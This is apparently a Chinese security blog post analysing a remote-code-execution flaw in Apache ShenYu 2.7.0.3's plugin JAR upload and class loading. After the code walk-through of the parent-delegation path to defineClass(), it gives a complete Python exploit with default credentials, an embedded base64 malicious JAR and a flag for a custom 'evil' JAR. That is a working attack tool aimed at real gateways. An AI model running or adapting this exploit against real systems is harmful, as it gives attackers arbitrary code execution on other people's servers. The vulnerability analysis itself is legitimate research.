这个系统用我的Agent审计出来的结果其实只有一个jar包上传,然后我之前也发到过类似jar包上传然后类加载的洞,(可以翻一下前边的文章)然后出于敏感就去找,类加载的方法,方法找着了但是没找到触发点,然后问了AI才知道有这么个双亲委派的机制!我让AI写了个漏洞分析,然后我自己跟着捋了两天才捋完。这个洞让我对Java类加载的双亲委派有了具象化的理解。
1. 漏洞概述
Apache ShenYu 网关提供插件热加载功能,允许管理员通过 Admin API 上传 base64 编码的 JAR 文件作为自定义插件。该 JAR 经由 WebSocket 同步至网关后,由自定义 ClassLoader 直接调用 defineClass() 加载其中的任意字节码,并将实现了 ShenyuPlugin 接口的类自动实例化为 Spring Bean。
2. 攻击链总览
攻击者 │ ├─[1] GET /platform/login?userName=admin&password=123456 │ 获取 JWT Token │ ├─[2] POST /plugin-template (file = base64 恶意 JAR) │ 创建插件模板,JAR 存入数据库 │ ├─ PluginController.java:128 入口,@RequiresPermissions("system:plugin:add") │ ├─ PluginServiceImpl.java:310 create() │ ├─ PluginServiceImpl.java:313 checkFile() — 仅验证包含 ShenyuPlugin 子类 │ └─ PluginServiceImpl.java:316 pluginMapper.insertSelective() — JAR 写入数据库 │ ├─[3] POST /namespace-plugin/{namespaceId}/{pluginId} │ 将插件绑定到命名空间 │ └─ NamespacePluginController.java:142 │ ├─[4] POST /namespace-plugin/syncPluginAll │ 触发全量数据同步,Admin 通过 WebSocket 将 PluginData(含 pluginJar)推送至网关 │ └─ NamespacePluginController.java:221 │ └─[5] 网关自动加载(以下代码在网关 JVM 中执行) ├─ ShenyuWebHandler.java:256 检测 pluginData.getPluginJar() 非空 ├─ ShenyuWebHandler.java:258 调用 shenyuLoaderService.loadExtOrUploadPlugins() ├─ ShenyuLoaderService.java:105 Base64.getDecoder().decode() + PluginJarParser.parseJar() ├─ ShenyuLoaderService.java:107 创建 ShenyuPluginClassLoader ├─ ShenyuLoaderService.java:108 调用 loadUploadedJarPlugins() ├─ ShenyuPluginClassLoader.java:91 遍历 JAR 中的类,调用 getOrCreateSpringBean() ├─ ShenyuPluginClassLoader.java:161 Class.forName(className, false, this) → 触发类加载 │ ↓ JVM ClassLoader 双亲委派机制 │ 父 ClassLoader 找不到该类 → 自动回调 findClass() ├─ ShenyuPluginClassLoader.java:132 ★ defineClass(name, bytes, 0, bytes.length) — 任意字节码加载 ├─ ShenyuPluginClassLoader.java:161 Class.forName() → 触发 static{} 初始化块 → RCE └─ ShenyuPluginClassLoader.java:176 注册为 Spring Bean → 实例化 → 构造函数执行
3. 代码分析
3.1 入口:插件上传
入口在 /plugin-template,创建插件模板,JAR 存入数据库。
PluginController.java:128:
@RestApi("/plugin-template")publicclassPluginControllerimplementsPagedController<PluginQueryCondition, PluginVO> {privatefinalPluginServicepluginService;publicPluginController(finalPluginServicepluginService) {this.pluginService=pluginService; }@PostMapping@RequiresPermissions("system:plugin:add")publicShenyuAdminResultcreatePlugin(@Valid@ModelAttributefinalPluginDTOpluginDTO) {returnShenyuAdminResult.success(pluginService.createOrUpdate(pluginDTO)); }}
PluginDTO 中的 file 字段接收 base64 编码的 JAR:
publicclassPluginDTOimplementsSerializable {@NotBlankprivateStringname;@NotBlankprivateStringrole;@NotNull@Min(0)privateIntegersort;@NotNullprivateBooleanenabled;privateStringfile; // ← base64 编码的恶意 JAR}
3.2 checkFile() 校验形同虚设
createOrUpdate 判断 id 为空则走 create:
publicStringcreateOrUpdate(finalPluginDTOpluginDTO) {returnStringUtils.isBlank(pluginDTO.getId()) ?this.create(pluginDTO) : this.update(pluginDTO);}
create 方法对 JAR 进行 base64 解码后调用 checkFile() 校验,校验通过后将 JAR 写入数据库。
PluginServiceImpl.java:310:
privateStringcreate(finalPluginDTOpluginDTO) {Assert.isNull(pluginMapper.nameExisted(pluginDTO.getName()),"create"+AdminConstants.PLUGIN_NAME_IS_EXIST+pluginDTO.getName());if (Objects.nonNull(pluginDTO.getFile())) {Assert.isTrue(checkFile(Base64.getDecoder().decode(pluginDTO.getFile())),AdminConstants.THE_PLUGIN_JAR_FILE_IS_NOT_CORRECT_OR_EXCEEDS_16_MB); }PluginDOpluginDO=PluginDO.buildPluginDO(pluginDTO);if (pluginMapper.insertSelective(pluginDO) >0) {pluginEventPublisher.onCreated(pluginDO); }returnShenyuResultMessage.CREATE_SUCCESS;}
checkFile() 仅检查文件大小和依赖树中是否包含 ShenyuPlugin 相关接口,对 Runtime.exec()、ProcessBuilder、FileWriter、反射调用、网络连接等危险操作无任何检测。攻击者只需在恶意类中 implements ShenyuPlugin 即可通过全部检查。
PluginServiceImpl.java:371:
privatebooleancheckFile(finalbyte[] file) {try {if (file.length>16*Constants.BYTES_PER_MB) {returnfalse; }Set<String>dependencyTree=JarDependencyUtils.getDependencyTree(file);returndependencyTree.contains(AdminConstants.PLUGIN_ABSTRACT_PATH)||dependencyTree.contains(AdminConstants.PLUGIN_INTERFACE_PATH)||dependencyTree.contains(AdminConstants.LOGGING_PLUGIN_ABSTRACT_PATH); } catch (Exceptione) {thrownewShenyuException(e); }}
3.3 绑定命名空间
插件上传后仅存在于数据库中,需要绑定到命名空间才能被网关加载。
NamespacePluginController.java:142:
@PostMapping("/{namespaceId}/{pluginId}")@RequiresPermissions("system:plugin:edit")publicShenyuAdminResultgenerateNamespacePlugin(@PathVariable("namespaceId") finalStringnamespaceId,@PathVariable("pluginId") finalStringpluginId) {returnShenyuAdminResult.success(namespacePluginService.create(namespaceId, pluginId));}
3.4 触发同步
通过 syncPluginAll 接口触发全量同步,Admin 通过 WebSocket 将 PluginData(含 pluginJar 字段)推送至网关。
NamespacePluginController.java:221:
@PostMapping("/syncPluginAll")@RequiresPermissions("system:plugin:modify")publicShenyuAdminResultsyncPluginAll(@Valid@RequestBodyfinalNamespaceSyncDTOnamespaceSyncDTO) {booleansuccess=syncDataService.syncAllByNamespaceId(DataEventTypeEnum.REFRESH, namespaceSyncDTO.getNamespaceId());if (success) {returnShenyuAdminResult.success(ShenyuResultMessage.SYNC_SUCCESS); } else {returnShenyuAdminResult.error(ShenyuResultMessage.SYNC_FAIL); }}
3.5 网关加载 JAR → RCE
网关收到 WebSocket 推送后,ShenyuWebHandler.onPluginEnabled() 检查 pluginJar 是否非空,然后调用 loadExtOrUploadPlugins 加载插件。
ShenyuWebHandler.java:254:
privatesynchronizedvoidonPluginEnabled(finalPluginDatapluginData) {LOG.info("shenyu use plugin:[{}]", pluginData.getName());if (StringUtils.isNoneBlank(pluginData.getPluginJar())) {LOG.info("shenyu start load plugin [{}] from upload plugin jar", pluginData.getName());shenyuLoaderService.loadExtOrUploadPlugins(pluginData); // ← 触发加载 }// ...}
ShenyuLoaderService.java:93 — 将 JAR 进行 base64 解码,解析后创建 ShenyuPluginClassLoader,然后调用 loadUploadedJarPlugins() 加载插件:
publicvoidloadExtOrUploadPlugins(finalPluginDatauploadedJarResource) {try {List<ShenyuLoaderResult>plugins=newArrayList<>();ShenyuPluginClassLoaderHoldersingleton=ShenyuPluginClassLoaderHolder.getSingleton();// ...PluginJarParser.PluginJarpluginJar=PluginJarParser.parseJar(Base64.getDecoder().decode(uploadedJarResource.getPluginJar())); // base64 解码ShenyuPluginClassLoaderuploadPluginClassLoader=singleton.createPluginClassLoader(pluginJar); // 创建类加载器plugins.addAll(uploadPluginClassLoader.loadUploadedJarPlugins()); // 加载插件loaderPlugins(plugins); } catch (Exceptione) {LOG.error("shenyu plugins load has error ", e); }}
3.6 defineClass() 加载任意字节码(核心漏洞点)
loadUploadedJarPlugins() 遍历 JAR 中的所有类,对每个类调用 getOrCreateSpringBean()。
ShenyuPluginClassLoader.java:85:
publicList<ShenyuLoaderResult>loadUploadedJarPlugins() {List<ShenyuLoaderResult>results=newArrayList<>();Set<String>names=pluginJar.getClazzMap().keySet();names.forEach(className-> {Objectinstance;try {instance=getOrCreateSpringBean(className); // ← 对每个类触发加载if (Objects.nonNull(instance)) {results.add(buildResult(instance)); } } catch (ClassNotFoundException|IllegalAccessException|InstantiationExceptione) {LOG.warn("Registering upload-Jar-plugins succeeds spring bean fails:{}", className, e); } });returnresults;}
getOrCreateSpringBean() 内部调用 Class.forName(className, false, this) 进行类加载。第三个参数 this 指定使用当前 ShenyuPluginClassLoader 作为类加载器。
ShenyuPluginClassLoader.java:149:
private<T>TgetOrCreateSpringBean(finalStringclassName) {// ...Class<?>clazz=Class.forName(className, false, this); // ★ 触发类加载booleannext=ShenyuPlugin.class.isAssignableFrom(clazz)||PluginDataHandler.class.isAssignableFrom(clazz);if (!next) {Annotation[] annotations=clazz.getAnnotations();next=Arrays.stream(annotations).anyMatch(e->e.annotationType().equals(Component.class)||e.annotationType().equals(Service.class)); }if (next) {GenericBeanDefinitionbeanDefinition=newGenericBeanDefinition();beanDefinition.setBeanClassName(className);// ★ 注册 + 实例化 → 触发构造函数StringbeanName=SpringBeanUtils.getInstance().registerBean(beanDefinition, this);inst=SpringBeanUtils.getInstance().getBeanByClassName(beanName); }}
关键问题:findClass() 从哪里被调用?
代码中没有任何地方显式调用 findClass(),它是 JVM ClassLoader 双亲委派机制的自动回调。调用链如下:
Class.forName(className, false, this) // ShenyuPluginClassLoader.java:161 ↓ JVM 内部调用ClassLoader.loadClass(name) // java.lang.ClassLoader(JDK 内置) ↓ 先委派给父 ClassLoader 尝试加载Parent ClassLoader.loadClass(name) // 父加载器找不到 org.apache.shenyu.poc.CalcPlugin ↓ 父加载器抛出 ClassNotFoundExceptionShenyuPluginClassLoader.findClass(name) // ★ JVM 自动回调子类的 findClass() ↓ 从 pluginJar.clazzMap 取出字节码defineClass(name, bytes, 0, bytes.length) // ShenyuPluginClassLoader.java:132 — RCE
findClass() 是 java.lang.ClassLoader 的标准契约:子类 override findClass() 来定义自己的加载逻辑,当 loadClass() 的双亲委派失败后,JVM 自动回调该方法。
ShenyuPluginClassLoader.java:118:
@OverrideprotectedClass<?>findClass(finalStringname) throwsClassNotFoundException {if (ability(name)) {returnthis.getParent().loadClass(name); }Class<?>clazz=classCache.get(name);if (Objects.nonNull(clazz)) {returnclazz; }synchronized (this) {clazz=classCache.get(name);if (Objects.isNull(clazz)) {if (pluginJar.getClazzMap().containsKey(name) &&!checkExistence(name)) {byte[] bytes=pluginJar.getClazzMap().get(name);clazz=defineClass(name, bytes, 0, bytes.length); // ★ 直接加载任意字节码,无沙箱classCache.put(name, clazz);returnclazz; } } }thrownewClassNotFoundException(String.format("Class name is %s not found.", name));}
JAR 中的 .class 文件直接传入 JVM defineClass(),无 SecurityManager、无字节码白名单、无沙箱限制。类加载完成后 static {} 初始化块立即执行,构造函数在 registerBean() 时执行——两个时机都可触发任意代码。
POC
弹calc的
#!/usr/bin/envpython3"""ApacheShenYu2.7.0.3-PluginJARUploadRCEExploit=====================================================漏洞: Admin插件上传接口无字节码校验,通过defineClass() 加载任意类并实例化,恶意static{} 初始化块在网关JVM中执行,实现远程代码执行。攻击链: Login→UploadJAR→BindNamespace→Sync→defineClass→RCE用法:#使用内置payload(弹出计算器)python3exploit.py-thttp://target:9095#使用自定义JARpython3exploit.py-thttp://target:9095 -j evil-plugin.jar#指定凭据python3exploit.py-thttp://target:9095 -u admin -p 123456"""importrequestsimportbase64importargparseimportsysimportjsonimporttimeimportrandomimportstring#============================================================#内置Payload: CalcPlugin.java (已编译)##static {#Runtime.getRuntime().exec("calc");# }##实现ShenyuPlugin接口,通过checkFile() 校验#类加载时static{} 触发,弹出计算器 (calc.exe)#============================================================BUILTIN_JAR_B64="UEsDBBQAAAAIAAliqFyyfwLuGwAAABkAAAAUAAAATUVUQS1JTkYvTUFOSUZFU1QuTUbzTczLTEstLtENSy0qzszPs1Iw1DPg5eLlAgBQSwMEFAAAAAgA/WGoXEXbLhZAAgAApAQAACYAAABvcmcvYXBhY2hlL3NoZW55dS9wb2MvQ2FsY1BsdWdpbi5jbGFzc8VTyW4TQRB97SXjZezEzgKBBBK22Elwf4BNLhZICIeEGCXndruxO7FnrPZMEo58Ax/BhQO5sB34AH6Ev0DUDCPbGCSWCxqpeurpVdWrrq7PXz9+AnAPlQxiiFtI2EhihmHuWJwK3hNOh++1jpX0GGZq2tHeDkO8VD7MIoW0hYyNLGyGims6XAyE7Co+7Crnuc8HPb+jHQI1b4bIfgjUu0I7DJY6V9L3FMOTUiMIHg6MdjrPjOirM9ec8DPV4kNlTpXhzfA4Uq3757JLilS13DBKSM81XLpG8YHf6mkqa/iu67jVFPIMGSl68nvJDOZQsFC0MY8FhsK4tQPf8XSfRGQ6yhs5i6Vy4ycOZV1iSARZg3yXbSzjCgFBHwwbpYmIphe0Up1Msm9cqYbDqoUVhvkxTh2pgaddx8I1hrVf3KIreX3UiYU1hvIf3zXJq7tt6mi2oR312O+3lHkqWj1CXvzDrTf+bsi/mRJDuqk7jvB8Q3pe/m89tYlpHbq6Xd0hhSl6FnumrUz46B8yJB1S1mZY+OGJRAMnfk32oiXJNT0hT3bFILrwTNP1jVQPdODMjkdaCdJgHau0fwzXaRmTdNIOkl0nb5VOFqCb78Au6IfhBtmZEEyRzeImhQbUtWCFA3R76wOsGN5MsYu4RTaG2+TdwUZUYCUqkCjEv7yeilgiW0I5Yl6NmPFibjr1MknZHGmuh70A+feYLS6+xaWjV0g8ugixNGxKFAtj86Fcm7AcfXlskWch1rCIQeTtUO3db1BLAQIUABQAAAAIAAliqFyyfwLuGwAAABkAAAAUAAAAAAAAAAAAAACAAQAAAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIUABQAAAAIAP1hqFxF2y4WQAIAAKQEAAAmAAAAAAAAAAAAAAC2gU0AAABvcmcvYXBhY2hlL3NoZW55dS9wb2MvQ2FsY1BsdWdpbi5jbGFzc1BLBQYAAAAAAgACAJYAAADRAgAAAAA="#ShenYu默认命名空间IDDEFAULT_NS="649330b6-c2d7-4edc-be8e-8a54df9eb385"BANNER=r"""_______________/____|||_\/__|__|\__\||__________|/ (__|_||___/|__|/_\'_ \| | | | |_|_\\___|___||||__/||||_|||_|\___|_||_|\__, |PluginJARUploadRCE__/|ApacheShenYu2.7.0.3|___/"""deflog(level, msg):colors= {"info": "\033[94m[*]", "ok": "\033[92m[+]", "err": "\033[91m[-]", "rce": "\033[93m[!]"}print(f"{colors.get(level, '[*]')} {msg}\033[0m")deflogin(url, user, pwd):"""Step 1: 登录获取 JWT Token"""log("info", f"Logging in as {user}...")try:r=requests.get(f"{url}/platform/login",params={"userName": user, "password": pwd},timeout=10, )data=r.json()ifdata.get("code") !=200:log("err", f"Login failed: {data.get('message')}")returnNonetoken=data["data"]["token"]log("ok", f"Authenticated — token: {token[:40]}...")returntokenexceptExceptionase:log("err", f"Login error: {e}")returnNonedefget_jar_payload(jar_path):"""读取自定义 JAR 或使用内置 payload"""ifjar_path:log("info", f"Loading custom JAR: {jar_path}")withopen(jar_path, "rb") asf:raw=f.read()b64=base64.b64encode(raw).decode()else:log("info", "Using built-in payload (pops calc.exe)")b64=BUILTIN_JAR_B64log("ok", f"Payload size: {len(b64)} bytes (base64)")returnb64defupload_plugin(url, token, jar_b64, plugin_name):"""Step 2: 上传恶意插件 JAR"""log("info", f"Uploading plugin '{plugin_name}'...")h= {"X-Access-Token": token}r=requests.post(f"{url}/plugin-template",headers=h,data={"name": plugin_name,"role": "Test","sort": 999,"enabled": True,"file": jar_b64, },timeout=15, )data=r.json()ifdata.get("code") !=200:log("err", f"Upload failed: {data.get('message')}")returnFalselog("ok", f"Plugin created: {data['message']}")returnTruedeffind_plugin_id(url, token, plugin_name):"""Step 3: 查找上传插件的 ID"""h= {"X-Access-Token": token}r=requests.get(f"{url}/plugin-template/all", headers=h, timeout=10)forpinr.json().get("data", []):ifp.get("name") ==plugin_name:pid=p["id"]log("ok", f"Plugin ID: {pid}")returnpidlog("err", "Plugin not found after upload")returnNonedefbind_namespace(url, token, ns_id, plugin_id):"""Step 4: 绑定插件到命名空间"""log("info", f"Bindingnamespace {ns_id[:12]}... → plugin {plugin_id}")h= {"X-Access-Token": token}r=requests.post(f"{url}/namespace-plugin/{ns_id}/{plugin_id}",headers=h,json={},timeout=10, )data=r.json()ifdata.get("code") !=200:log("err", f"Bind failed: {data.get('message')}")returnFalselog("ok", "Namespace bindcomplete")returnTruedeftrigger_sync(url, token, ns_id):"""Step 5: 触发全量同步 → 网关加载 JAR → RCE"""log("info", "Triggering plugin sync → Gateway will load JAR...")h= {"X-Access-Token": token}r=requests.post(f"{url}/namespace-plugin/syncPluginAll",headers=h,json={"namespaceId": ns_id},timeout=10, )data=r.json()ifdata.get("code") !=200:log("err", f"Sync failed: {data.get('message')}")returnFalselog("ok", f"Sync success — {data['message']}")returnTruedefverify(gateway_url, plugin_name):"""验证插件是否已在网关加载"""log("info", "Verifying plugin loaded on gateway...")time.sleep(3)try:r=requests.get(f"{gateway_url}/actuator/plugins", timeout=5)body=r.textifplugin_nameinbodyor"Evil"inbodyor"Sniffer"inbody:log("ok", "Plugin confirmed in gateway plugin chain!")returnTrueelse:log("info", "Plugin not yet visible in actuator (may still be loading)")returnFalseexceptException:log("info", "Gateway actuator not reachable (normal if different host)")returnFalsedefexploit(args):print(BANNER)admin_url=args.target.rstrip("/")gateway_url=args.gateway.rstrip("/") ifargs.gatewayelseadmin_url.replace("9095", "9195")ns_id=args.namespaceorDEFAULT_NSplugin_name=args.nameor ("evilPlugin_"+"".join(random.choices(string.ascii_lowercase, k=4)))#Step1: Logintoken=login(admin_url, args.user, args.password)ifnottoken:sys.exit(1)#Step2: Preparepayloadjar_b64=get_jar_payload(args.jar)#Step3: Uploadifnotupload_plugin(admin_url, token, jar_b64, plugin_name):sys.exit(1)#Step4: FindpluginIDplugin_id=find_plugin_id(admin_url, token, plugin_name)ifnotplugin_id:sys.exit(1)#Step5: Bindnamespaceifnotbind_namespace(admin_url, token, ns_id, plugin_id):sys.exit(1)#Step6: Triggersync→RCEifnottrigger_sync(admin_url, token, ns_id):sys.exit(1)#Verifyprint()log("rce", "RCE payload delivered!")log("rce", f"calc.exe should have been launched on the gateway host")log("rce", f"Or verify via: curl {gateway_url}/actuator/plugins | grep {plugin_name}")print()verify(gateway_url, plugin_name)#Printsummaryprint()print("="*60)log("ok", "Attack chain summary:")print(f" Admin : {admin_url}")print(f" Gateway : {gateway_url}")print(f" Plugin : {plugin_name} (ID: {plugin_id})")print(f" Method : defineClass() → static{{}} → RCE")print("="*60)defmain():parser=argparse.ArgumentParser(description="Apache ShenYu 2.7.0.3 — Plugin JAR Upload RCE",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""examples:%(prog)s-thttp://target:9095%(prog)s-thttp://target:9095 -j custom-evil.jar%(prog)s-thttp://target:9095 -u admin -p 123456 -g http://target:9195""", )parser.add_argument("-t", "--target", required=True, help="Admin URL (e.g. http://target:9095)")parser.add_argument("-g", "--gateway", help="Gateway URL (default: replace 9095→9195)")parser.add_argument("-j", "--jar", help="Custom malicious JAR path (default: built-in payload)")parser.add_argument("-u", "--user", default="admin", help="Admin username (default: admin)")parser.add_argument("-p", "--password", default="123456", help="Admin password (default: 123456)")parser.add_argument("-n", "--namespace", help=f"Namespace ID (default: {DEFAULT_NS})")parser.add_argument("--name", help="Plugin name (default: random)")args=parser.parse_args()exploit(args)if__name__=="__main__":main()
效果如下:

写到最后的:
最近在找工作,投了很多的安研和白盒漏洞挖掘,再一次尝试走研究的路,有了一两个面试机会,但是目前都没有回音,不知道我这个菜鸡最终能不能走上那条路。
夜雨聆风